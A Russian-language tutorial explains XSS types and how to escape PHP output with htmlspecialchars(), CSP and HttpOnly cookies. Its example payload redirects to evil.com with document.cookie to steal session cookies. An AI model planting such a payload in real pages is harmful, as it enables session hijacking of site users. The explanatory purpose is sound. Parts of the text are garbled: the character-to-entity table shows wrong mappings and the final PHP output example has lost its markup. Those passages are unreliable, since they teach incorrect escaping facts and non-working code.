Безопасность кода: Что такое XSS-уязвимость и как правильно фильтровать выходные данные в PHP (htmlspecialchars)?

XSS (Cross-Site Scripting) — это один из наиболее распространённых типов веб-уязвимостей, при котором злоумышленник внедряет вредоносный JavaScript-код в страницу, которую просматривают другие пользователи. Это позволяет красть куки, перехватывать сессии, выполнять фишинговые атаки и многое другое.

## Как работает XSS?

Представьте форму комментариев на сайте. Пользователь вводит:

document.location=’https://evil.com/?c=’+document.cookie

Если сайт выводит этот текст без экранирования, браузер выполнит скрипт и отправит куки жертвы злоумышленнику.

## Типы XSS-атак

1. **Reflected XSS** — вредоносный код передаётся через URL-параметр и сразу отражается в ответе сервера.
2. **Stored XSS** — код сохраняется в базе данных и выполняется при каждом просмотре страницы.
3. **DOM-based XSS** — атака происходит на стороне клиента через манипуляции с DOM.

## Функция htmlspecialchars() в PHP

Основной инструмент защиты от XSS в PHP — функция `htmlspecialchars()`. Она преобразует специальные HTML-символы в их безопасные HTML-сущности:

— `&` → `&`
— « → `>`
— `»` → `"`
— `’` → `'`

### Правильное использование:
php
$userInput = $_GET[‘name’];
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, ‘UTF-8’);

**Важные параметры:**
— `ENT_QUOTES` — экранирует как двойные, так и одинарные кавычки.
— `ENT_HTML5` — использует правила HTML5.
— `’UTF-8’` — явно указывает кодировку, чтобы избежать атак через многобайтовые символы.

## Типичные ошибки

— Использование `htmlspecialchars()` без флага `ENT_QUOTES` — одинарные кавычки остаются незащищёнными.
— Экранирование только при вводе, а не при выводе — данные могут обрабатываться несколько раз.
— Забывать про атрибуты HTML: `<input value="»>` — обязательно экранировать.
— Не указывать кодировку — уязвимость через UTF-7 и другие кодировки.

## Дополнительные меры защиты

1. **Content Security Policy (CSP)** — HTTP-заголовок, ограничивающий источники скриптов.
2. **HttpOnly и Secure флаги для куки** — защищают куки от кражи через JavaScript.
3. **Валидация входных данных** — проверяйте тип, длину и формат данных.
4. **Использование шаблонизаторов** — Twig, Blade автоматически экранируют вывод.
5. **Библиотека HTML Purifier** — для случаев, когда нужно разрешить часть HTML-тегов.

## Пример безопасного вывода данных

php
function safe($string) {
return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, ‘UTF-8’);
}

echo ‘

Привет, ‘ . safe($_GET[‘username’]) . ‘!

‘;

Правило золотое: **всегда экранируйте данные непосредственно перед выводом**, а не при получении. Это называется принципом «экранирование в точке использования» и защищает от двойного экранирования и логических ошибок.


Задайте вопрос нейросети

Не нашли ответ? Спросите ИИ — он подготовит развёрнутую статью.